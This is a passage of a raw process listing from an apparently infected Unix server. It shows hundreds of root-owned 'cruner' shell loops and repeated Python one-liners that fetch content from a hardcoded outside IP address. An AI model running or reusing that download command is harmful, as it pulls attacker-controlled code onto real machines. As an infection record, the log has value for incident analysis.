fbi.urlopen("http://209.141.40.190/xms"). > root 24916 14045 0 15:46:01 ? 0:00 xargs kill -9 > root 27313 20039 0 15:45:34 ? 0:00 sleep 60 > root 15035 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16525 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13433 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26902 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2674 13587 0 15:45:08 ? 0:00 sleep 60 > root 28940 20166 0 - ? 0:00 <defunct> > root 18145 17533 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7818 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22543 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29252 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3599 3060 0 15:45:48 ? 0:00 /bin/ksh -p /bin/kill -9 > root 26576 26570 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22873 21968 0 15:45:06 ? 0:00 bash -sh > root 16753 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21919 4957 0 15:45:02 ? 0:00 bash -sh > root 18175 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10837 10714 0 15:43:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26726 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11203 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24661 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4474 14088 0 - ? 0:00 <defunct> > root 28834 4114 0 15:45:34 ? 0:00 sleep 60 > root 12434 9172 0 15:46:08 ? 0:00 bash -sh > root 15656 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7189 21840 0 15:46:07 ? 0:00 bash -sh > root 15460 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2928 23116 0 15:45:58 ? 0:00 bash -sh > root 29611 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11552 11535 0 15:42:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3655 27498 0 15:44:42 ? 0:00 bash -sh > root 12520 1 0 01:01:19 ? 0:00 sh /var/tmp/cruner > root 19820 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11637 8664 0 15:45:50 ? 0:00 bash -sh > root 16522 17521 0 - ? 0:00 <defunct> > root 25959 4541 0 - ? 0:00 <defunct> > root 16552 24111 0 15:44:30 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7293 27878 0 15:45:58 ? 0:00 sleep 60 > root 15409 4113 0 15:44:05 ? 0:00 bash -sh > root 6518 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6370 11440 0 15:45:20 ? 0:00 bash -sh > root 23057 21414 0 - ? 0:00 <defunct> > root 10985 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10809 10877 0 15:45:21 ? 0:00 sleep 60 > root 7446 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19129 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26894 28197 0 15:45:43 ? 0:00 sleep 60 > root 29117 16999 0 15:45:34 ? 0:00 sleep 60 > root 14888 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14760 15802 0 15:45:46 ? 0:00 bash -sh > root 15658 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24883 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11807 21358 0 15:45:59 ? 0:00 bash -sh > root 9519 12570 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 14117 9136 0 15:45:55 ? 0:00 sleep 60 > root 14073 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27995 21947 0 - ? 0:00 <defunct> > root 7920 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26584 14178 0 - ? 0:00 <defunct> > root 2324 10940 0 15:45:19 ? 0:00 sleep 60 > root 28663 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25556 28092 0 15:45:17 ? 0:00 bash -sh > root 1174 11730 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17632 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16593 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1058 1998 0 15:45:24 ? 0:00 xargs kill -9 > root 20099 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9585 11429 0 15:46:07 ? 0:00 bash -sh > root 6456 188 0 15:46:06 ? 0:00 bash -sh > root 14440 9544 0 15:45:51 ? 0:00 bash -sh > root 20000 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5652 17773 0 15:45:09 ? 0:00 bash -sh > root 5234 6010 0 - ? 0:00 <defunct> > root 22451 20905 0 - ? 0:00 <defunct> > root 13906 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4055 20578 0 - ? 0:00 <defunct> > root 12679 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10784 25411 0 - ? 0:00 <defunct> > root 23580 12770 0 15:46:01 ? 0:00 bash -sh > root 1168 17730 0 15:45:34 ? 0:00 sleep 60 > root 26508 26143 0 15:45:43 ? 0:00 sleep 60 > root 17945 16210 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 459 21083 0 - ? 0:00 <defunct> > root 3545 12920 0 15:44:42 ? 0:00 bash -sh > root 28622 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13052 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26396 18792 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 28215 5691 0 15:46:02 ? 0:00 sleep 60 > root 27092 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24058 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5755 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9014 9008 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22682 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17941 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3320 25737 0 - ? 0:00 <defunct> > root 15600 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10207 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 7550 7540 0 15:45:25 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24102 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8272 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24635 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6058 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24043 28753 0 - ? 0:00 <defunct> > root 2308 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8456 8454 0 15:45:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23713 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1601 14526 0 15:44:11 ? 0:00 bash -sh > root 3415 17190 0 15:45:40 ? 0:00 xargs kill -9 > root 891 5105 0 15:46:06 ? 0:00 sleep 60 > root 20158 19682 0 15:44:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28050 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7062 26644 0 15:45:09 ? 0:00 bash -sh > root 12131 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21041 2346 0 15:43:28 ? 0:00 bash -sh > root 16546 7512 0 15:45:22 ? 0:00 sleep 60 > root 628 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26509 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23739 23312 0 - ? 0:00 <defunct> > root 25426 26881 0 - ? 0:00 <defunct> > root 24973 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9127 16374 0 15:44:56 ? 0:00 bash -sh > root 27684 26974 0 15:43:41 ? 0:00 bash -sh > root 11950 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5461 468 0 - ? 0:00 <defunct> > root 25612 26365 0 15:44:01 ? 0:00 bash -sh > root 8452 24562 0 15:45:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10588 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2087 11703 0 15:45:19 ? 0:00 sleep 60 > root 13173 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27306 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3925 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14586 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6581 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 8535 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1212 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9227 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9397 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10825 14217 0 15:45:59 ? 0:00 bash -sh > root 19578 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27476 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22711 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19871 971 0 - ? 0:00 <defunct> > root 11756 11734 0 - ? 0:00 <defunct> > root 22051 18502 0 15:44:53 ? 0:00 bash -sh > root 5327 28735 0 15:45:49 ? 0:00 bash -sh > root 3101 3178 0 15:43:42 ? 0:00 bash -sh > root 2955 25556 0 15:45:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27336 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2973 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13387 24007 0 15:45:25 ? 0:00 sleep 60 > root 13450 1557 0 15:45:11 ? 0:00 bash -sh > root 9084 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7975 25527 0 15:45:25 ? 0:00 sleep 60 > root 28571 27547 0 15:45:34 ? 0:00 sleep 60 > root 20262 1212 0 15:45:12 ? 0:00 sh /tmp/cruner > root 22673 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16344 11909 0 15:44:52 ? 0:00 bash -sh > root 6793 12158 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13490 16012 0 - ? 0:00 <defunct> > root 15800 21310 0 15:45:51 ? 0:00 bash -sh > root 26482 15622 0 15:45:18 ? 0:00 bash -sh > root 2711 2491 0 15:45:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2737 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6656 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18991 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24352 23193 0 - ? 0:00 <defunct> > root 10984 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8685 24144 0 15:45:10 ? 0:00 sleep 60 > root 398 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 71 18442 0 - ? 0:00 <defunct> > root 24149 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10783 11750 0 15:45:32 ? 0:00 bash -sh > root 27498 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 13920 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2588 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24164 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9210 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3831 9474 0 15:45:58 ? 0:00 sleep 60 > root 18555 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 28941 26812 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 9914 4607 0 - ? 0:00 <defunct> > root 24885 22174 0 15:45:52 ? 0:00 /bin/ksh -p /bin/kill -9 > root 22367 22298 0 15:45:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15922 13805 0 15:43:27 ? 0:00 bash -sh > root 6473 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19343 16709 0 15:46:00 ? 0:00 sleep 60 > root 2153 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5736 20099 0 15:46:06 ? 0:00 sleep 60 > root 4114 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6330 6323 0 15:45:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19335 17503 0 15:44:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15842 27416 0 - ? 0:00 <defunct> > root 7469 1 0 19:57:17 ? 0:00 sh /var/tmp/cruner > root 7739 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 6873 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24047 19680 0 - ? 0:00 <defunct> > root 8030 10190 0 15:45:54 ? 0:00 sleep 60 > root 1655 8305 0 - ? 0:00 <defunct> > root 3592 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 24354 24828 0 15:43:23 ? 0:00 bash -sh > root 9553 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3608 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22518 18723 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10200 11543 0 15:44:47 ? 0:00 bash -sh > root 20835 12388 0 15:45:46 ? 0:00 bash -sh > root 29172 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1222 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7342 11063 0 15:45:36 ? 0:00 bash -sh > root 290 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17669 16902 0 15:44:57 ? 0:00 bash -sh > root 16328 25313 0 - ? 0:00 <defunct> > root 2589 24724 0 15:44:12 ? 0:00 bash -sh > root 28064 23921 0 15:45:30 ? 0:00 bash -sh > root 25471 11018 0 15:45:17 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3805 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25039 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7382 12903 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 15173 19538 0 15:45:25 ? 0:00 /bin/ksh -p /bin/kill -9 > root 5883 27505 0 15:45:31 ? 0:00 sleep 60 > root 21255 19970 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28786 21940 0 15:45:14 ? 0:00 sleep 60 > root 4857 2607 0 15:44:50 ? 0:00 bash -sh > root 29360 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15479 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20444 20441 0 15:45:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2696 16964 0 - ? 0:00 <defunct> > root 17301 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8494 8484 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17159 4040 0 15:45:42 ? 0:00 sh /tmp/cruner > root 15057 24420 0 15:45:51 ? 0:00 bash -sh > root 1660 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7976 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5497 29680 0 - ? 0:00 <defunct> > root 13530 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11281 29134 0 15:45:15 ? 0:00 bash -sh > root 14828 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24418 4094 0 - ? 0:00 <defunct> > root 28670 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8748 5228 0 15:46:07 ? 0:00 sh /tmp/cruner > root 6951 27567 0 15:45:20 ? 0:00 sleep 60 > root 12986 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15614 2308 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 29014 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26773 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 5510 12627 0 15:45:54 ? 0:00 bash -sh > root 1587 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14012 7652 0 15:45:55 ? 0:00 sleep 60 > root 23521 27338 0 15:44:49 ? 0:00 bash -sh > root 13923 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4093 27393 0 15:45:58 ? 0:00 sleep 60 > root 3552 18850 0 - ? 0:00 <defunct> > root 6499 17980 0 15:45:20 ? 0:00 sleep 60 > root 18430 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15943 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9128 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12100 3045 0 15:44:24 ? 0:00 bash -sh > root 13723 20112 0 15:45:41 ? 0:00 sleep 60 > root 27681 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17950 27512 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 16669 17365 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 12771 6503 0 15:45:50 ? 0:00 bash -sh > root 14762 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4069 8972 0 15:44:50 ? 0:00 bash -sh > root 16700 1637 0 - ? 0:00 <defunct> > root 28170 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21486 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21478 19624 0 - ? 0:00 <defunct> > root 15701 15699 0 15:45:22 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23167 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26734 10228 0 15:45:34 ? 0:00 sleep 60 > root 29824 29897 0 15:45:34 ? 0:00 sleep 60 > root 17315 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8584 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 13492 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24881 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9347 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15754 15728 0 - ? 0:00 <defunct> > root 1432 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11386 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5545 24402 0 15:43:42 ? 0:00 bash -sh > root 10567 10530 0 15:45:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18085 16408 0 15:46:09 ? 0:00 sleep 60 > root 807 2223 0 15:46:02 ? 0:00 sleep 60 > root 22510 16336 0 - ? 0:00 <defunct> > root 12681 11329 0 15:44:52 ? 0:00 bash -sh > root 19019 19003 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20503 15509 0 15:45:42 ? 0:00 sleep 60 > root 3538 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 5845 17711 0 - ? 0:00 <defunct> > root 3435 28141 0 15:45:54 ? 0:00 sleep 60 > root 11623 25925 0 15:44:15 ? 0:00 bash -sh > root 18897 24186 0 15:45:37 ? 0:00 bash -sh > root 2826 3833 0 15:45:48 ? 0:00 sleep 60 > root 7982 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7788 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3747 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8263 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19900 12325 0 15:44:26 ? 0:00 bash -sh > root 703 28704 0 15:44:50 ? 0:00 bash -sh > root 6827 14021 0 15:42:09 ? 0:00 bash -sh > root 19235 27423 0 15:44:26 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10662 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2656 6600 0 15:45:14 ? 0:00 bash -sh > root 19296 6675 0 15:45:42 ? 0:00 sleep 60 > root 5909 12762 0 - ? 0:00 <defunct> > root 20016 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29903 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4885 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24578 23463 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9629 7496 0 - ? 0:00 <defunct> > root 14084 10393 0 15:43:56 ? 0:00 bash -sh > root 16409 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22222 20178 0 - ? 0:00 <defunct> > root 14103 14090 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9802 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12926 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19004 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 935 29495 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6233 27325 0 15:45:04 ? 0:00 bash -sh > root 1185 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29701 5642 0 15:46:05 ? 0:00 sleep 60 > root 18234 12906 0 - ? 0:00 <defunct> > root 20873 25074 0 15:42:23 ? 0:00 bash -sh > root 9646 28684 0 15:45:54 ? 0:00 bash -sh > root 6090 2317 0 - ? 0:00 <defunct> > root 12114 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14152 12330 0 15:45:59 ? 0:00 /bin/ksh -p /bin/kill -9 > root 12274 12264 0 - ? 0:00 <defunct> > root 19554 16009 0 15:45:56 ? 0:00 sleep 60 > root 26878 11856 0 15:46:02 ? 0:00 bash -sh > root 17979 890 0 - ? 0:00 <defunct> > root 10406 13457 0 15:45:50 ? 0:00 sh /tmp/cruner > root 2419 2406 0 - ? 0:00 <defunct> > root 20336 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9244 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19665 21234 0 - ? 0:00 <defunct> > root 24238 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16383 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22257 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23149 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4782 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4627 12990 0 - ? 0:00 <defunct> > root 7736 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5411 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11524 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28323 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10948 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 8322 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 86 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6905 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23503 5659 0 15:45:33 ? 0:00 sleep 60 > root 15594 14595 0 - ? 0:00 <defunct> > root 22268 19964 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 11726 11652 0 15:46:07 ? 0:00 /bin/ksh -p /bin/kill -9 > root 12569 1315 0 - ? 0:00 <defunct> > root 7842 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24663 22036 0 - ? 0:00 <defunct> > root 3982 3972 0 15:45:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18147 17669 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19474 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9090 3103 0 15:45:28 ? 0:00 sleep 60 > root 10891 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21271 4698 0 - ? 0:00 <defunct> > root 10341 13829 0 15:45:28 ? 0:00 bash -sh > root 10950 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18037 28271 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 5321 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28948 14093 0 - ? 0:00 <defunct> > root 5643 5604 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10315 28725 0 - ? 0:00 <defunct> > root 23065 5709 0 15:45:13 ? 0:00 sleep 60 > root 12034 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15828 14399 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27064 10970 0 15:43:24 ? 0:00 bash -sh > root 21376 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4502 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8974 26392 0 15:45:40 ? 0:00 sh /var/tmp/cruner > root 20313 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28288 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7953 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2404 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5803 16220 0 - ? 0:00 <defunct> > root 2575 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26303 26662 0 15:45:18 ? 0:00 sleep 60 > root 17555 29068 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 28297 28284 0 15:45:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28446 20379 0 15:45:34 ? 0:00 sleep 60 > root 18113 16130 0 15:44:57 ? 0:00 bash -sh > root 2480 15839 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27839 13583 0 15:45:23 ? 0:00 bash -sh > root 2061 3840 0 15:45:39 ? 0:00 sh /var/tmp/cruner > root 21222 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3998 1013 0 15:45:58 ? 0:00 sleep 60 > root 5944 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10805 8499 0 15:45:36 ? 0:00 bash -sh > root 20651 8304 0 - ? 0:00 <defunct> > root 17973 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2795 24760 0 15:45:14 ? 0:00 bash -sh > root 3989 22597 0 15:46:06 ? 0:00 sleep 60 > root 22258 25670 0 15:45:33 ? 0:00 sleep 60 > root 29675 11736 0 15:44:10 ? 0:00 bash -sh > root 3507 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11681 7807 0 15:45:59 ? 0:00 bash -sh > root 17308 29831 0 - ? 0:00 <defunct> > root 24692 20410 0 15:45:39 ? 0:00 sleep 60 > root 24810 14318 0 15:45:30 ? 0:00 sleep 60 > root 11313 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10475 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26864 19703 0 - ? 0:00 <defunct> > root 29470 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20645 2304 0 15:45:22 ? 0:00 bash -sh > root 28125 23179 0 15:46:02 ? 0:00 bash -sh > root 11365 6615 0 15:45:45 ? 0:00 sleep 60 > root 17602 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19711 22245 0 15:46:00 ? 0:00 sleep 60 > root 992 4738 0 15:45:53 ? 0:00 sleep 60 > root 27300 20263 0 15:45:34 ? 0:00 sleep 60 > root 23174 10036 0 15:45:38 ? 0:00 bash -sh > root 18243 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21693 21144 0 15:44:58 ? 0:00 bash -sh > root 15691 4047 0 - ? 0:00 <defunct> > root 11754 23653 0 15:45:59 ? 0:00 bash -sh > root 26293 27409 0 15:45:27 ? 0:00 sleep 60 > root 16221 16218 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10656 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27728 7439 0 15:45:43 ? 0:00 sleep 60 > root 379 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22602 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13544 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19908 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17055 21270 0 - ? 0:00 <defunct> > root 19581 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1013 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2148 2147 0 15:44:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29939 12633 0 15:45:27 ? 0:00 bash -sh > root 6201 1267 0 15:45:35 ? 0:00 sleep 60 > root 933 12179 0 15:45:58 ? 0:00 sleep 60 > root 6731 999 0 15:46:06 ? 0:00 sleep 60 > root 15867 9750 